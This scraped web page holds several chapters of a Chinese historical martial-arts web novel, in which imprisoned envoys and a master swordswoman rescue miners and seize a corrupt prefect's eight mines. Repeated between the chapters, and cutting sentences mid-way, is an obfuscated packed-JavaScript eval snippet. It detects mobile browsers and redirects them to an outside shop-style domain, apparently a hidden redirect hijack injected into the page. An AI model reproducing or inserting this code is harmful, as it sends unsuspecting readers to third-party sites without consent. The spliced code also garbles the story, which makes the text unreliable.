l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501265|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受伤是家常便饭,可那些武学师傅也不会像现在这群人这样对他痛下杀手!而且那时候他都是吃饱喝足了才去练武,哪像现在这般,在身受重伤的情况下还要赤手空拳和别人搏斗。 “夺他们的武器!” 几个略微强壮些的矿工跟在魏渊后面去夺那些护卫手中的武器,然而那些护卫也不是傻的,在领头的带领下隔着一段距离直接弯弓搭箭,上百只闪着寒光的箭头直接朝着魏渊几人过瞄准,魏渊眼神一闪,护着那些人往旁边跑去。可惜的是这里位置有限,不过眨眼之间好几个同盟已经被射中,虽说没有死去,但此刻都倒在地上痛苦呻吟,他们的身子骨本就不好,这再突然受了伤,根本没有反抗之力! 魏渊这会儿胳膊上也中了一箭,那叫一个伤上加伤,刚刚那次躲闪已经用尽了他最后的力气,这会儿的他根本没有反抗的余力,而那些护卫已经再次弯弓搭箭,纷纷瞄准了他所在的位置,看来他们这次是非要把他置于死地不可了。 深吸一口气,魏渊死死盯着那些人的脸,他是个睚眦必报的人,这会儿哪怕是死也要把自己敌人的脸牢牢记 住,死了之后也要托梦告诉义父,一定杀了这些人给自己报仇! “放箭!” 随着这声令下,几十只冷箭朝着魏渊射来,独属于兵器的冷光这会儿几乎要把魏渊的眼睛刺伤,他悄悄的叹了口气,难道自己真的到此为止了吗? “嗖嗖嗖——” 在魏渊的注视下那些冷箭还是射了出来,眼见着距离自己越来越近,越来越近,周围那些围观的矿工们此刻也不忍的闭上了眼睛。他们当然希望在这座矿场里有人能反抗成功,可没想到被他们认为最有希望的魏渊还是失败了,而且他们今日就要亲眼见证对方的死亡,一想到自己未来悲惨的日子,这些人就忍不住面色悲痛。 “刷拉!” 一声轻响过后,一道欢快的女声在耳边响起。 “魏小子,你还活着啊?真是太好了。” 第一百一十三章 心动 生死一刻带来的刺激感让魏渊心脏骤停,就在这样的情况下,一个突兀出现的人影挡住了过于热烈的阳光。因为背对着阳光的缘故,魏源一时间看不到对方的模样,等到眼睛适应之后,终于看清了那张随性自由的脸,原来是崔逐风啊…… 也是有那个武力值闪现到自己面前,并且能将那上百支冷箭尽数斩断的人,普天之下除了崔逐风应该也没别的人了。 这对于崔逐风来说应该是件很简单的事,可魏渊却觉得自己此刻心跳有些失衡。砰,砰,砰,他的心好像快要跳出来了!这不太对劲。魏渊一边冷静的告诉自己,一边伸手攥住胸口的衣服,那双眼睛却不由自主的追随着崔逐风的一举一动。 怎么会这么耀眼呢?难道是因为她站在阳光里?又或者他此前受的伤是不是影响了现在的状态?要不然他怎么会觉得呼吸急促,心跳加快? 眼看魏小子半个字儿都说不出来,崔逐风怀疑他被人打坏了脑子,难道自己来晚了一步?可他头上也没血迹啊。上前一步将魏渊从地上扶起,从上到下仔仔细细打量了一遍,发现也就受了点儿外伤,崔逐风这才放下心来,把这几个孩子弄丢已经很惭愧了,若是再受点儿什么好不了的伤,她可真要愧疚致死了。 “这这女人是谁?怎么过来的?赶紧给我放箭弄死她!这里绝对不能泄露!” “是!” 虽说被崔逐风展现出来的武力值吓了一跳,但周围那些护卫并没有就此死心,毕竟他们可是全副武装,而且手中有着最锋利的刀剑,这么多人一拥而上,怎么可能奈何不了一个区区弱女子?是的,哪怕刚刚已经看到崔逐风展现出来的超强武力,他们也还是打心眼儿里小瞧女人。或许刚刚就是凑巧?毕竟他们也没看清那些冷箭是怎么被斩断的。 怀着这样的心思,众人隔得远远的继续放箭,这次不把带着的箭篓用空誓不罢休。可是当铺天盖地的箭雨停歇之后,地上并没有多出两具尸体,反而到处都是残肢断箭,一起一小片干干净净的空地,那正是崔逐风和魏渊站着的地方。 崔逐风随意挥了挥衣袖,地上那些断箭被一道剑气卷起,刷的一下飞了出去,直奔那些茫然失措的护卫。 那些人还在震惊茫然,就看到了死亡的阴影,几声惨叫过后,在场已经没有一个站着的护卫。 “怪物!怪物!快跑,快跑啊!他会杀了我们所有人!” 黄管事吓得屁滚尿流,连滚带爬的想要逃出崔逐风的视线范围,然而最讨厌被人这么叫的崔逐风怎么可能放过他?毕竟刚刚他飞过来的时候可是看到这个肥头大耳的家伙拿着鞭子鞭打可怜的魏家小子。 脚尖微动,旁边散落的长鞭顿时像长了眼睛的灵蛇一般蜿蜒向前飞射而去,一口‘咬’住黄管事的右腿往后一拽,黄管事那肥壮的身体就像只鸭子一样,嗖的一下拔地而起,重重落在崔逐风面前的地上。 他整个人都要吓傻了,这会儿拼命的向后蠕动,身下已经湿了一小片儿,竟然被吓尿了。 崔逐风有些嫌弃的瞥了他一眼,然后看向旁边沉默不语的魏渊。 “小魏,他就交给你了,有冤报冤有仇报仇,赶在砍头之前多揍几顿也行。” 魏渊终于回过神看一眼面露哀求恐惧的黄管事,眼神迅速变得冷漠阴狠。他可是最记仇不过的人,有仇当场就报了。这姓黄的落在自己手里,非得让他尝尝大景十大酷刑的滋味儿! 只是本来想动手的魏渊不知怎的,看了一眼像阵风似的稍微错眼就会消散的崔逐风,突然就不想那么做了,他不想让这个人的血迹脏了崔前辈的眼。 于是他只是上前意思意思狠狠踢了黄管事几脚,听到他身体里骨骼断裂的声音和连绵不绝的惨叫之后才满意的转头。 “崔前辈,您是怎么找到这里来的?我那些蠢货下属呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501266|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有应县主他们三个,不知您可有见到?自从被那些迷药迷倒之后,我就再也没见过另外三位同僚。” 崔逐风哀伤的叹了口气,根本不想承认竟然在眼皮子底下弄丢了四个小辈。不过既然已经弄丢了,长吁短叹也没用。这会儿见魏渊已经恢复过来,崔逐风立刻打点起精神看向远处的矿山。 “我这几天一直在附近寻找,约摸半个时辰之前看到这边有红色烟雾冲天而起,且伴随有巨大的轰鸣之声,推测应该是有矿山倒塌,那声音和九阙之前弄出来的霹雳弹极其相似,所以就想着来碰碰运气,没想到刚到这边就听到你的声音,也真是巧了。” 对于崔逐风隔着山头就能听到自己声音的本事魏渊没有表示惊讶,毕竟这人的功夫可是经过大内高手认可的。陛下在宫中豢养了多位高手,他们自然也见过突然出现在应县主身边的崔逐风,并且承认对方的功夫远在自己之上,应是天下当之无愧的第一高手。 据说像崔逐风这样的武林高手,已经达到至臻化境的地步,和普通人已经大不一样了,能做到这点也没什么好惊讶的。 这会儿魏渊也想起了自己的责任,当即跟在崔逐风身后抄起地上一把长剑就准备跟着她去找应县主几个。崔逐风也没有拒绝,毕竟魏家小子的功夫还是不错的。 崔逐风在前面带路, 不多时就找到了矿石崩塌的地方,那两座紧挨着的矿场也出现在崔逐风面前。她这一路走来遇见了大约八个矿场,里面的人大多面黄肌瘦,而且在监工的督促下不停的挖矿搬运石头,几乎没有歇息的功夫。但面前的两个矿场倒是有些不同,虽然里面的苦力依旧在干活,可他们的精气神看起来好像更好些。 而且这两个矿场里穿着监工衣服的人虽然手里拿着长鞭,但只是做做样子,并没有真落在哪个人身上的时候。 看到这里,崔逐风就确定了,应九阙就在这矿场里。 第一百一十四章 相聚 否则这里的精神面貌不会与其他矿场格外不同。 果然,当她落地不久,就从人群中找到了忙的热火朝天的应九阙,看到活力四射,虽说清瘦些,但好歹没受什么伤的人,崔逐风露出了个真心的笑容,还好还好,这孩子没出事儿,不然她得懊悔死。 而人群之中的九阙还在想自己放出去的信号崔前辈也不知能看懂不能,就感觉有人好像在密切注视着自己,猛然回头,就看到了轻轻踩在旗杆上飘然若仙的崔前辈。 久别重逢,九阙猛然发出一声惊喜的尖叫,撒开脚丫子飞奔而去。周围本来还在听她说话的人都惊呆了。 天啊!小九这是怎么了?然而等他们顺着九阙飞奔的方向看去,竟发现有个衣袂飘飘的仙人单脚站在旗杆上俯视他们的时候,所有人的下巴都快惊掉了。 那是,那是神仙不成?要不然怎么可能会有人轻飘飘站在旗杆儿上动都不带动一下?那旗杆儿只有小孩儿手臂那么粗,而且越往上越细,一个人的重量站在上边儿,那根旗杆儿怎么可能弯都不弯一下?这可真是有够神奇的。 “崔前辈你找到我了!我可想死你了!” 轻飘飘落地的催逐风,脸颊有些发红,虽说已经认识许久,但崔逐风还是有些适应不了九阙这热情奔放的性子,这个时代的人都讲究内敛谦和,谁会像九阙这般喜欢就是喜欢,而且还要说的足够大声,能让所有人听见啊? 但不得不承认的是,看到九阙这样,崔逐风忍不住露出了个笑模样。 “我一看到那冲天而起的红烟就知道是你弄出来的。这几天吃苦了吧?看你,都瘦了。都是我的不是,竟然这么长时间都没能找到你们,九阙,这次是我……” 崔逐风有些羞耻,她总不能告诉这孩子自己是因为去上茅房才把他们给弄丢了吧?这事儿要是传出去,她这个天下第一高手得被人暗地里耻笑死。 好在这时候九阙善解人意的制止了她的话。 “前辈,没关,也多亏了这次被别人绑走,我们才能找到第一手的证据。你看,现在人证物证都齐了,只要把那姓梁的抓住,咱们这次来的任务就完成了,这可是意外之喜。” 崔逐风当然知道九阙这是在安慰自己,但也并不妨碍她看着九阙的眼神越来越温和。偏偏在两人那继续说话的时候旁边插进来一个声音。 正是刚刚赶到的魏渊。 “应县主,不仅如此,我还找到了梁恒残害下属,调换加急奏折,甚至开采金矿的罪证!” “嗯?!梁恒竟然如此嚣张,连呈给陛下的折子他都敢调换?!等等,你说金矿?这里不是只有朱砂矿?他哪里弄的……我懂了,前几年黔州这边突然上报朱砂矿脉崩塌,再也产不出朱砂。看来就是从那时候找到了一处金矿。能冒着诛九族的大罪隐藏下来,看来那金矿产出不小。” “确实如此。矿脉崩塌倒是真的,似乎是因为那次的崩塌将藏在岩石下方的金矿露了出来,那可是一处富金矿,露天即可采摘,经过这几年毫无节制的开采,洞穴下方依旧有大量金矿存在。只是每次开采都需要人下到矿洞之中,开采效率极低。” “嘶——” 本来老皇帝只是让他们过来调查朱砂一事,没想到不仅把黔州知府梁恒的罪证找了个清清楚楚,甚至还顺藤摸瓜找到了一个富金矿,这算不算给陛下的意外之喜? 不过再想想梁恒不过是个知府,哪里来的能量能把专门递给陛下的奏折拦下?而且他又不准备造反,金矿挖出来那么多金子,以及卖那么多朱砂和丹药得来的银钱,他总不会拿来建金屋吧?说不定又和朝中哪个皇亲贵族勾结到一起了。 这么一想,对于陛下来说或许又不是件好事了。 算了,反正她已经将陛下交代的事情完成,接下来头疼的事儿就让陛下去做吧。 现在有件棘手的事情刚好需要崔前辈帮忙,九阙可怜巴巴的央求。 “前辈,我们几个的武力值还是太低了,能不能请你帮忙把这八个矿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501267|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场都拿下?把他们都控制住才更好去找梁恒的麻烦。” “可以。” 崔逐风毫不犹豫的答应,九阙高兴的不得了,立即让人把谢明尘和淳于霜叫来坐在一起商量,刚好可以给魏渊疗伤。 不得不说看到魏渊身上的伤势时,谢明尘忍不住皱眉。 “怎么伤的这么重?骨头都裂了,最起码得修养一个月。” “我现在哪有时间啊?你先帮我把伤势压制住,等把这儿的事情处理完再休养也不迟。” 魏渊苦笑一声,他这次前来是为了立功,若是因为这点儿伤势就停滞不前,那可真是白来这一趟,白吃这些苦了。好在谢明尘也理解,于是拿出银针三两下封住魏渊的伤势,让他勉强能活动自如。 九阙看一眼魏渊,见他心里有谱,也没有制止。对着地面画出来的简陋地图沉思片刻,露出个感兴趣的笑容。这还是她第一次指挥人入侵,竟然有种兴奋的感觉。想起那些监工所做的惨无人道之事,九阙只觉得有股嗜血的冲动。 “你们有没有听过金蝉脱壳?” 是夜。 其中一处矿场已经陷入沉睡,可是把守森 严的入口处却传来了阵阵喧闹。 管事儿的从床上爬起来,愤怒不已。 “这都什么时辰了?怎么这么吵?欠收拾了?!” “头儿,不是底下那些苦力,好像是旁边儿矿场的杨辉。吵吵闹闹的说他矿场上有人跑了,说是看见跑到咱们这边儿,现在正在门口堵着,要把人抓回去呢。” “什么玩意儿?杨辉手底下的矿场有人跑了,那小子不是一向小心谨慎吗?哈哈哈,没想到他也会有马失前蹄的时候。” 这管事儿的显然对杨辉不是很喜欢。毕竟那么个臭小子,短短两三年里就从底下的苦力爬上来与他们平起平坐,而且现在干的越来越好,甚至得到了上头的重用,眼看着都要爬到他们头上去了,现在看到他倒霉,管事儿的怎么可能不高兴? 第一百一十五章 夜袭 眼珠子转了好几圈儿,管事儿的迫不及待爬起来穿好衣服就朝着门口走去,他得亲眼看看杨辉到底是怎么把手底下人弄丢的。 只是还没等他走到门口,就听到自己身后传来吵闹声,顿时火冒三丈,他这边不会出问题了吧? “怎么回事儿?你赶紧去看看,别咱们这边儿也出事儿,把那些苦力都给我看好了,就算是死在洞里也不能让他们给我跑了!快点儿去啊!” “是是是!小的这就去。” 为了不让杨辉看笑话,管事儿的整了整衣服,尽量镇定的走到门口。昏暗的火光下,只能看到几个灰头土脸的人影。为首的那个看起来确实像是杨辉。管事儿的根本没怀疑,如果是底下那些苦力跑了,不可能这么正大光明的跑到门口还要求见他。以往那些跑路的苦力们第一反应就是朝着山林里钻去,试图靠着这密不透风的山林把自己的身形藏起来。 一般这么做的人下场只有一个死字,要么被猎犬找出来。要么因为山中的毒虫野物死的悄无声息,他们这连绵不绝的大山,还少有人单个走出去。 管事儿的大摇大摆,态度嚣张。 “杨辉,没想到你也有这么一天。怎么?这是手底下人跑了,到我这儿求助来了?我可先说,我们这儿一整天都没瞧见动静,谁知道你手底下的人跑到哪个犄角旮旯里去了。不过,你不是才得到上头的赏识?要是这事儿传出去,我看你这大管事之位也就甭想了!” “话可不是这么说的,不过是跑了两个苦力,我那儿人还多的是。就算找不着,把他们弄死上头也不会说我半个字。倒是你这儿……我怎么听见这么大动静?不会你这儿的人也跑了吧?” 昏暗中,人的视力受到影响,耳朵似乎也没那么灵敏了,尤其是这管事儿的虽说和杨辉不对付,可他们真正相处的时间并不长。再加上这会儿那杨辉大概是因为手底下的人跑了着急上火,嗓音略有沙哑,也听不出来有什么异样。 尤其是听到他这么说,肥肥壮壮的管事顿时绷不住了。 “你少在这儿血口喷人,谁不知道咱们这八个矿场里只有我手底下的矿工被管束的最为服帖?!别自己手底下的人跑了,就想把我也拉下水!” 两人看起来都很不服气,隔着一道大门你来我往的喷了好一会儿。然而这门里的喧闹声越来越大,这管事儿的终于不能自欺欺人,烦躁的朝着后边儿大吼一声。 “吵什么!吵什么吵?!大晚上的不想安生了是吧?都不想睡就给我爬起来挖矿!老子真是对你们太好了,让你们得意忘形了是吧?” 一边骂骂咧咧的,一边朝着喧闹声传来的方向走去,他得去看看到底怎么回事儿。别真的自己手底下出事儿,白让这杨辉瞧了笑话。 他走了一截儿,那喧闹声越来越大,管事儿的本来很不耐烦,但此刻突然福灵心至,眼皮子狠狠一跳。 不对劲,他的矿场一向最为安静,手底下那群苦力被管束的跟鹌鹑一样,晚上睡觉都不敢发出太大声音,这会儿为什么会这么吵呢?难道是有人潜进来了?可为何时机如此巧妙,偏偏在杨辉来的时候,他这后边儿就出事儿? 等等,杨辉跟他说了这么几句话,他好像还没看清对方的脸。虽说晚上昏暗,火光的亮度也不够,可对方好像一直站在黑暗里,有意识的让他看不清脸。 所以刚刚跟他说话的那个人真是杨辉吗?虽然他很不喜欢那小子,但是不得不承认对方是个小心谨慎的人,他手底下的矿工怎么可能跑得了?就算当真跑了,杨辉按理来说也不会让别的矿场知道自己手里下出了事儿,否则月末聚会的时候少不得被上头的人教训一番。 已经回过神来的管事儿转身怒吼。 “拦住他们,别让他们进……” “噗嗤!” 一道极其轻微的利刃入肉的闷响过后,管事儿肥壮的身体轰然倒地,周围那些狗腿子们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501268|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来还战战兢兢的听他说话,这突发情况一出来,大家都傻了。 紧接着他们也发现了不对劲,只是他们这三脚猫的功夫怎么可能比得过魏渊崔逐风这两个武林高手?而且那些跟在崔逐风身后的侍卫们此刻也已经追赶上来,不失为一把好手。 不过是三两下的功夫,门口这块儿的监工就已经全被制服。魏渊没有耽误,径直朝着喧闹声传来的方向走去。刚刚就是他装扮成杨辉的模样,他们两个都身材高大,昏暗的灯光下如果不仔细辨认还真分不清。 想起应县主的计划,魏渊也有些激动,他在矿场上被搓磨这么多天,心中一股怒火早就迫不及待,今天晚上暂且让他发一发心中狂涌的怒火。 “这几个人是疯了不成,还是已经变成活尸了,怎么不管不顾上来就打人?” “管事儿的呢?赶紧去叫他。” “我可不敢去,要是打扰他睡觉,一顿鞭子少不了。” “那咱也不能站在这儿被他们打吧,先把他们捆起来再说。” “你有这个本事你上去,反正我是没这个本事,我这老胳膊老腿儿的,每天干活还干不动,要是因为这个受了伤明天干不动活,你看那个扒皮会不会剥了我的皮?” “啧……” 人群之中有五个手舞足蹈的高大男人,手里边儿握着人头大小的石头挥来挥去,周围那些人投鼠机器,不敢有太大举动。那么大块的石头,要是不小心砸到他们身上,好几天都干不了活,以这矿场上管事儿的脾性,有两天干不了活,直接就把你扔到活尸堆里去了。因此大家一时间竟然手足无措起来,就在这个时候,听到身后传来沉稳的声音。 “怎么回事儿?大晚上的吵什么吵?还让不让人睡觉了?” 虽说这声音很不耐烦,但大家就像找到了主心骨一般抬头往那边儿看去。不过奇怪的是,没看到管事儿的低矮肥壮的身体,反而看到一个高大的身影。 第一百一十六章 尽数拿下 这是谁呀? 有眼尖的人已经认出来那身衣服,好像是隔壁矿场的杨辉。怎么他们自己矿场的管事儿不见了?不过这个时候大家也没空管这么多,只是本能的求救。 “杨管事,咱们这儿有几个突然发疯的人,您瞧瞧这怎么办?” 魏渊大步上前,声音也没停。 “那还能怎么办?找几个人上去把他们给捆了,这还需要教,怪不得你们管事儿的那么生气,都是一群蠢货。” 那些监工们都已经被骂习惯了,这会儿不觉有异,反而点头哈腰的赞同。 “是是是,我们这就动手。你们几个赶紧拿根绳子过来把他们给捆住!” 其中有个监工觉得有点儿不对劲儿,他以前近距离跟杨辉接触过,他怎么记得对方好像不长这个样子?可这人身上穿的确实是杨辉的衣服…… 犹豫再三,这个监工还是本着谨慎的原则,小心翼翼的开口。 “杨管事,今儿个不是您矿场上交账的日子吗?怎么大驾光临了?” 魏渊顿了一下,似笑非笑。 “你倒是记得清楚。不过谁告诉你今天是我交账的日子?咱们这八个矿场向来是一起交账,你们管事儿的还在这里,难道我会提前去?” “瞧我这脑子是我记错了,杨大人,您大人有大量,别跟我这个蠢货计较。” “我当然不会跟你们计较,毕竟你们也蹦跶不了多长时间了。” “是是……嗯?” 不对呀,这话是什么意思?这是还没等他细究,迎面飞过来一道拳影,恶狠狠的砸在他太阳穴上,那人哼都没哼一声,直接倒地不起,也不知是死是活。周围的人都被这突如其来的一幕给吓蒙了。 他们这是怎么得罪杨管事了?然而就在此刻,那五个原本疯疯癫癫的高大男人猛然起身,一脚一个,三下五除二就把这些监工们揍的起不来身。而旁边那些战战兢兢的矿工们察觉异常,不少人眼中猛然亮起不可置信的光芒。他们这是内讧了,还是,还是有人来救他们了? 虽说这个可能性不大,但大家还是藏着那么一点儿细小的希望。 魏渊他们在来之前就已经把这个矿场摸熟,也没时间跟众人细说,找到那些在各个地方巡逻的监工,把他们尽数捆了带到这里,才轻描淡写的表示。 “我们是朝廷派的钦差,来救你们了。从今天开始你们就是自由身,等到把这里的贪官污吏尽数抓捕,你们就可以回家了。” 已经快要被痛苦的生活折磨麻木的矿工们还有些不敢置信,但片刻过后,发现这些人已经开始清点人数,发放食物,他们终于反应过来,这一切不是做梦,真的有人来救他们了。 不过还没等他们欢呼出声就被魏渊制止了。 “我知道大家这会儿心情很激动,但还是请诸位不要发出太大声音,毕竟我们的人此刻在旁边的矿场,等我们把这八座矿场尽数拿下,诸位就可以欢呼了。” 于是大家狠狠捂住自己的嘴,有些年龄大沉稳的,还顺便帮年纪小的矿工们捂住。好不容易平复下来之后,其中有几个胆大心细的已经主动请缨,把那些捆的跟死猪一样的监工们控制在一起,期间自然少不了收到来自愤怒矿工们的拳脚。 大家伙儿对这些平日里作威作福,欺压他们的矿工早就痛恨不已,这会儿得到机会,揍他们的时候力度可不会削弱半分。这些矿工们嘴被破布塞住,只能发出哼哼唧唧的痛呼,反倒让大伙儿高兴。 “呸!你们平日里欺负我们的时候可没想到会有这么一天吧?竟然活生生把我三叔给打死了!他就是动作慢了点儿,你至于这么狠心吗?当初还是你把我们骗出来,说是外面有做工的机会,工钱很高,我们是信任你才跟着出来,没想到身为同村,你竟然如此心狠,连自己的亲族都骗!你还是个人吗?我们祖上可都是一家的!” “你之前把我小儿子打晕死过去的时候不是很嚣张吗?现在再嚣张一下试试?你们这样的人就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501269|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该扔到山上被野狼掏空吃净!” “别打的太用力了,不小心打死可就便宜他们了。等钦差大人们把这八座矿场都拿下,那才是咱们有冤报冤有仇报仇的时候。” “对,先容你多活一会儿,反正你的死期到了!” 那些监工们睁着惊恐的眼神看着这些平日里如同猪狗一般被他们鞭打的矿工,简直不敢相信自己的眼睛和耳朵。 这些人到底怎么敢的?他们就不怕吗?这些矿场的背后可是黔州知府梁恒大人,甚至还有更不可说的尊贵人物在背后撑腰,还有这些钦差,他们到底怎么敢的?而且他们什么时候来到矿上?自己竟然毫不知晓。 这是不是说明陛下早就已经知道他们这边的龃龉? 这里的事情梁大人到底知不知道?他们真的不想死,平日里作威作福高高在上,欺压旁人的日子过得太过舒坦,谁会想死呢? 然而他们现在被捆的死死的,手脚都动不了,只能惊恐的等待明天的到来。 说起来这八座矿场上的侍卫确实不少,而且都全副武装,刀剑盔甲都是上等货。可奈何他们面对的不是那些因为常年劳作和饥饿变得面黄枯瘦的旷工,而是武 艺超凡的魏渊等人,这些人可都是经过特殊专业训练的,更别说还有崔逐风这个外挂在,等到天亮的时候,八座矿场都已经被拿下。 昨天晚上九阙也没有停着,她虽然武艺粗浅些,但耐不住她力气大,毕竟敌方的人数太多,她这个半吊子也得上去帮忙,今天晚上也算开了刃见了血,身上的气质已经和以往大不相同。 京城里那些熟人见了,恐怕要认不得了。 “你们到底想做什么?知不知道我们背后的大人物是谁啊?得罪了我们,你们连黔州的地界都出不去!我劝你们做事之前还是认真想想,我……” “吵死了。” 有个管事不停叫嚣,九阙实在是听的耳朵疼,直接一拳把他撂倒,收获了周围一众惊恐的目光。 第一百一十七章 黄鱼 九阙反应过来有点儿尴尬。不过大家不是早就已经见识过她的力气了吗?这会儿不小心打晕一个也没什么大不了的。当然,主要是因为他实在太吵了。 周围人自以为隐晦的将目光收回去,尽量不去看这位女勇士,他们其实早就已经知道这位小九没有表现出来的那么和善,要不然也不会策划出这样的计划,仅仅一夜就将八座矿场全部收入囊中。 其实要让九阙来说她也没什么计划,不过就是让人假扮成周围矿场的监工管事,再让核武器崔前辈出场,前后呼应。拿下区区几十个全副武装的护卫不是手到擒来吗?毕竟跟随她来的下属可是景泰帝精心挑选出来的军中高手。 将这八座矿场的监工管事以及那些早就有异心的叛徒全都抓起来,个别尤其不服管的当场处死,情况就变得好梳理许多。 之前从王馍口中得知这些矿场的监工管事会在固定的时间统一交账,不过他们并不会离开,而是由上头派人来这里收账,同时也会对那些产出垫底的矿场管事进行鞭策,这个习惯给了九阙很大便利。更妙的是这个月交账的时间就在明天。如果不是因为时间紧迫,九阙也不会那么着急把这矿场都掌握在手里。 翌日。 一辆豪华马车毫不遮掩摇摇晃晃的从官道驶往连绵不绝的大山,并且在入口的地方就得到隆重的接待,前来接待的人满脸谄媚,不过坐在马车上的人仰着脸一副高傲的神情,显然对此早就已经习惯了。甚至对着身上略显脏污的矿场管事爱答不理,一路上连半个字都没跟他们多说,只不过这种趾高气昂的态度倒是让暗中跟随的九阙稍微松了口气。 马车一路驶过弯弯曲曲的小道,终于艰难的到达了其中一座矿场,这座矿场是距离出口最近的,显然这前来收账的人不想多生颠簸,因此每次前来收账都选择这座矿场。 前来收账的人叫黄鱼,或许因为他这个名字,天生就对金钱十分感兴趣,也因为这个特质被梁恒看中收在身边,可以说是梁恒最为看重的小吏。所以把收账这种重要的事情都交给他。黄鱼有个毛病,穷奢淫逸,也不知道是不是小时候过的太穷了,以至于现在的他最讲究排场和享受,因此每月一次的收账就成了他最为头疼的事。 黄鱼是个长相秀美的年轻人,只看他的外表,看不出来这人有多么嚣张跋扈,但是只要一看他的言行举止,就能明白此人绝不是个善茬。因为他还没下马车,就用厌恶的眼神看了看面前那乌泱泱的人群。显然对他们很是不满意,此刻眼神微闪,也不知道在想些什么。 用一方干净的紧怕捂住口鼻,黄鱼一点儿也不掩饰对底下这些脏兮兮的管事监工们的鄙夷。看了看人数,还有领头那几个监工管事,然后马不停蹄的催促他们把账册拿上来。 这个月的产出还算不错,尤其是那座金矿,产出的黄金比上个月要多出两成。黄鱼满意的点了点头,梁恒是他的顶头上司,上头对于这座金矿的产出相当看重,产出增多,他也会受到梁大人的奖赏。 “这个月你们都做的不错,我会向大人禀报你们的功绩,放心,只要好好做,美食美酒美人,要什么就有什么。” “多谢大人。” 下面的人立马感恩戴德的叩谢,黄鱼对这些人的谄媚早就已经习惯。对了对账册发现无误之后就准备离开。他才不想和这些下等人处在同一片空间,呼吸同一点空气,这会让他感觉自己从内到外都脏了。 “好了,你们有什么想要的,赶紧说。” 魏渊上前一步,略有瑟缩。 “大人,这个月为了赶产量,矿上的矿工死伤许多,人手不够,能不能再多弄些人过来?” “又死了,这些人怎么这么不经用?” 黄鱼显然对这些矿工的死因有所了解,这会儿不耐烦的点了点头,算是答应了这个条件,随即目光在魏渊身上上下扫了几眼,漫不经心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501270|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别开眼去。 “你们身上的味道可真够难闻的,行了,这我知道了,回去之后就会向大人禀报。还有什么想要的?干脆一并说完。” 这位大人从来开始对他们就是这种不屑一顾的态度,这会儿更是流露出不想跟他们同处一片空间的意思,大家也不敢乱动,再加上此刻也没别的需求,于是只能站在旁边眼睁睁看着这位大人离开。 黄鱼带着身边貌美的侍女匆匆离开,踏上马车,车上淡淡的熏香味儿驱散了那刺鼻的臭味。稍稍松了口气,手指不禁攥紧。只是刚走出一段路,外面就传来了喧闹声。 黄鱼眼神微微一顿,下一刻不耐烦的掀开布帘。 “这又是怎么了?吵吵闹闹的,烦人!” 周围那些管事的默不作声,只是沉默的站在马车周围,黄鱼感到有些不对,语气依旧居高临下。 “到底出什么事儿了?我可告诉你们,大人出于信任才把这矿场交给你们管理,要是出了事儿你们搞不定,可别指望着我会为你们摆平。不过是一群饿的没力气的旷工而已,你们都搞不定,还能指望你们做成什么事儿?真是……” “黄大人,不如下来一聚?” 一个清朗的女声制止了黄鱼脱口而出的唾骂。 黄鱼一滞,抬头 